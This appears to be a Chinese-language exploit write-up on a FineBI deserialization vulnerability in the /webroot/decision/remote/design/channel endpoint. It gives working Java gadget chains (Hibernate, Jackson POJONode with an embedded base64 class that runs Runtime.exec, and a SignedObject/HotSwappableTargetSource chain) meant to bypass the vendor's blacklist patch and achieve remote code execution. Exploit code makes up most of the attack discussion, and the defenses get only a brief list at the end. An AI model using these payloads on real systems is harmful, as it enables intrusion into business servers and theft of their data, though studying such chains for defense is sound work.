Finebi反序列化漏洞分析
字数 995 2025-08-18 11:36:47

FineBI反序列化漏洞分析与利用

漏洞概述

FineBI是一款商业智能软件,其/webroot/decision/remote/design/channel接口存在反序列化漏洞。该漏洞允许攻击者通过构造恶意的序列化数据实现远程代码执行。

漏洞分析

漏洞接口

  • 接口路径:/webroot/decision/remote/design/channel
  • 请求方式:POST

数据处理流程

  1. 接收POST传输的数据
  2. 使用GZIPInputStream解压缩GZIP格式数据
  3. 使用CustomObjectInputStream包装解压缩后的数据
  4. 调用readObject()方法进行反序列化

CustomObjectInputStream继承自ObjectInputStream,其构造方法调用父类的构造方法,与常规反序列化流程相同。

漏洞利用

基本利用条件

  • 构造的序列化数据需要先经过GZIP压缩
  • 然后向漏洞接口发送压缩后的数据

利用链选择

可以使用以下两种利用链:

1. Hibernate链

import com.fr.third.org.hibernate.engine.spi.TypedValue;
import com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer;
import com.fr.third.org.hibernate.type.Type;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class Hibernate {
    public static byte[] getPayload(byte[] bytes) throws Exception {
        Class<?> componentTypeClass = Class.forName("com.fr.third.org.hibernate.type.ComponentType");
        Class<?> pojoComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");
        Class<?> abstractComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer");
        
        TemplatesImpl tmpl = utils.getTeml(bytes);
        Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");
        
        Object getter;
        try {
            Class<?> getterImpl = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
            Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            getter = constructor.newInstance(null, null, method);
        } catch (Exception ignored) {
            Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");
            Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
            constructor.setAccessible(true);
            getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties");
        }
        
        Object getters = Array.newInstance(getter.getClass(), 1);
        Array.set(getters, 0, getter);
        
        AbstractComponentTuplizer tuplizer = (AbstractComponentTuplizer) utils.createInstanceUnsafely(pojoComponentTuplizerClass);
        Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
        field.setAccessible(true);
        field.set(tuplizer, getters);
        
        Object type = utils.createInstanceUnsafely(componentTypeClass);
        utils.setFieldValue(type,"componentTuplizer",tuplizer);
        utils.setFieldValue(type,"propertySpan",1);
        utils.setFieldValue(type,"propertyTypes",new Type[]{(Type) type});
        
        TypedValue typedValue = new TypedValue((Type) type, null);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(typedValue, "123");
        utils.setFieldValue(typedValue,"value", tmpl);
        
        byte[] ser = utils.serialize(hashMap);
        byte[] payload = utils.GzipCompress(ser);
        return payload;
    }
}

2. CB链

也可以使用CommonsBeanutils链,但需要注意包名差异。

绕过修复方案

官方修复方式增加了反序列化黑名单,禁止了CB、Hibernate等常用反序列化类,但未禁止Jackson相关类。

Jackson利用链

import util.utils;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.util.Base64;

public class jackson {
    public static void main(String[] args) throws Exception {
        String calc = "yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB6ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==";
        TemplatesImpl t = utils.getTeml(Base64.getDecoder().decode(calc));
        
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
        
        POJONode node = new POJONode(t);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        utils.setFieldValue(val,"val",node);
        
        byte[] ser = utils.serialize(val);
        String b = Base64.getEncoder().encodeToString(ser);
        System.out.println(b);
        utils.unserialize(ser);
    }
}

进一步绕过

BadAttributeValueExpExceptionTemplatesImpl被加入黑名单后,可以使用以下替代方案:

  1. 使用XString#equals替代BadAttributeValueExpException来触发toString方法
  2. 在Spring环境下,利用HotSwappableTargetSource#equals来触发XString的equals方法
  3. 使用SignedObject替代TemplatesImpl,利用其getObject方法实现二次反序列化
import com.fr.third.fasterxml.jackson.databind.node.POJONode;
import com.fr.third.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.SignedObject;
import java.util.HashMap;

public class JacksonSignedObject {
    public static byte[] getPayload(byte[] bytes) throws Exception {
        TemplatesImpl t = utils.getTeml(bytes);
        
        try {
            CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
            ctClass.removeMethod(writeReplace);
            ctClass.toClass();
        } catch (Exception e){ }
        
        POJONode node = new POJONode(utils.makeTemplatesImplAopProxy(t));
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        utils.setFieldValue(val,"val",node);
        
        SignedObject s = utils.makeSignedObject(val);
        POJONode node2 = new POJONode(s);
        
        HotSwappableTargetSource h1 = new HotSwappableTargetSource(node2);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
        
        HashMap<Object, Object> hashmap = new HashMap<>();
        utils.setFieldValue(hashmap, "size", 2);
        
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
        
        utils.setFieldValue(hashmap, "table", tbl);
        
        byte[] ser = utils.serialize(hashmap);
        byte[] payload = utils.GzipCompress(ser);
        return payload;
    }
}

防御措施

  1. 升级到最新版本
  2. 限制反序列化类白名单
  3. 对输入数据进行严格校验
  4. 禁用不必要的远程接口

总结

FineBI反序列化漏洞是一个典型的Java反序列化安全问题,攻击者可以通过构造特定的序列化数据实现远程代码执行。随着防御措施的加强,攻击者也不断寻找新的利用链进行绕过。开发者应当持续关注安全更新,及时修补漏洞。

FineBI反序列化漏洞分析与利用 漏洞概述 FineBI是一款商业智能软件,其 /webroot/decision/remote/design/channel 接口存在反序列化漏洞。该漏洞允许攻击者通过构造恶意的序列化数据实现远程代码执行。 漏洞分析 漏洞接口 接口路径: /webroot/decision/remote/design/channel 请求方式:POST 数据处理流程 接收POST传输的数据 使用 GZIPInputStream 解压缩GZIP格式数据 使用 CustomObjectInputStream 包装解压缩后的数据 调用 readObject() 方法进行反序列化 CustomObjectInputStream 继承自 ObjectInputStream ,其构造方法调用父类的构造方法,与常规反序列化流程相同。 漏洞利用 基本利用条件 构造的序列化数据需要先经过GZIP压缩 然后向漏洞接口发送压缩后的数据 利用链选择 可以使用以下两种利用链: 1. Hibernate链 2. CB链 也可以使用CommonsBeanutils链,但需要注意包名差异。 绕过修复方案 官方修复方式增加了反序列化黑名单,禁止了CB、Hibernate等常用反序列化类,但未禁止Jackson相关类。 Jackson利用链 进一步绕过 当 BadAttributeValueExpException 和 TemplatesImpl 被加入黑名单后,可以使用以下替代方案: 使用 XString#equals 替代 BadAttributeValueExpException 来触发toString方法 在Spring环境下,利用 HotSwappableTargetSource#equals 来触发 XString 的equals方法 使用 SignedObject 替代 TemplatesImpl ,利用其 getObject 方法实现二次反序列化 防御措施 升级到最新版本 限制反序列化类白名单 对输入数据进行严格校验 禁用不必要的远程接口 总结 FineBI反序列化漏洞是一个典型的Java反序列化安全问题,攻击者可以通过构造特定的序列化数据实现远程代码执行。随着防御措施的加强,攻击者也不断寻找新的利用链进行绕过。开发者应当持续关注安全更新,及时修补漏洞。